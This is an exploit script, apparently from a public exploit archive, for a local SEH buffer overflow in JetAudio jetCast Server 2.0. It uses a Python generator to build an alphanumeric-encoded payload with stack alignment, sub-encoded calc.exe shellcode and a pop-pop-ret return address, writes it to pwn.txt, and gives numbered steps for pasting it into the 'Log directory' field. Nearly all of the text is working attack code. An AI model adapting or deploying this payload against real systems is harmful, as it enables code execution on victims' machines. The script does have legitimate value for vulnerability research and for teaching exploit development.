JetAudio jetCast Server 2.0 – ‘Log Directory’ Local SEH Alphanumeric Encoded Buffer Overflow
# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow # Date: May 13th, 2019 # Author: Connor McGarr (https://connormcgarr.github.io) # Vendor Homepage: http://www.jetaudio.com/ # Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe # Version v2.0 # Tested on: Windows XP SP3 EN # TO RUN: # 1. Run python script # 2. Copy contents of pwn.txt # 3. Open jetCast # 4. Select Config # 5. Paste contents of pwn.txt into "Log directory" field # 6. Click "OK" # 7. Click "Start" # For zeroing out registers before manual shellcode zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101 zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010 # Save old stack pointer restore = "\x54" # push esp restore += "\x59" # pop ecx restore += "\x51" # push ecx # Align the stack to 0012FFAD. Leaving enough room for shell. Using calc.exe for now. # 4C4F5555 4C4F5555 4D505555 alignment = "\x54" # push esp alignment += "\x58" # pop eax alignment += "\x2d\x4c\x4f\x55\x55" # and eax, 0x4C4F5555 alignment += "\x2d\x4c\x4f\x55\x55" # and eax, 0x4C4F5555 alignment += "\x2d\x4d\x50\x55\x55" # and eax, 0x4D505555 alignment += "\x50" # push eax alignment += "\x5c" # pop esp # calc.exe - once again, giving you enough room with alignment for shell. Calc.exe for now. # 2C552D14 01552D14 01562E16 shellcode = zero shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14 shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14 shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16 shellcode += "\x50" # push eax # 24121729 24121739 2414194A shellcode += zero shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729 shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739 shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A) shellcode += "\x50" # push eax # 34313635 34313434 34313434 shellcode += zero shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635 shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434 shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434 shellcode += "\x50" # push eax # 323A1245 323A1245 333A1245 shellcode += zero shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245 shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245 shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245 shellcode += "\x50" # push eax # Restore old stack pointer. MOV ECX,ESP move = zero move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711 move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711 move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811 move += "\x50" # push eax payload = "\x41" * 520 payload += "\x70\x06\x71\x06" # JO 6 bytes. If jump fails, default to JNO 6 bytes into shellcode. payload += "\x2d\x10\x40\x5f" # pop pop ret MFC42.DLL payload += "\x41" * 2 # Padding to reach first instruction payload += restore payload += alignment payload += shellcode payload += move # Using ECX for holding old ESP. \x41 = INC ECX # so using \x42 = INC EDX instead. payload += "\x42" * (5000-len(payload)) f = open('pwn.txt', 'w') f.write(payload) f.close() |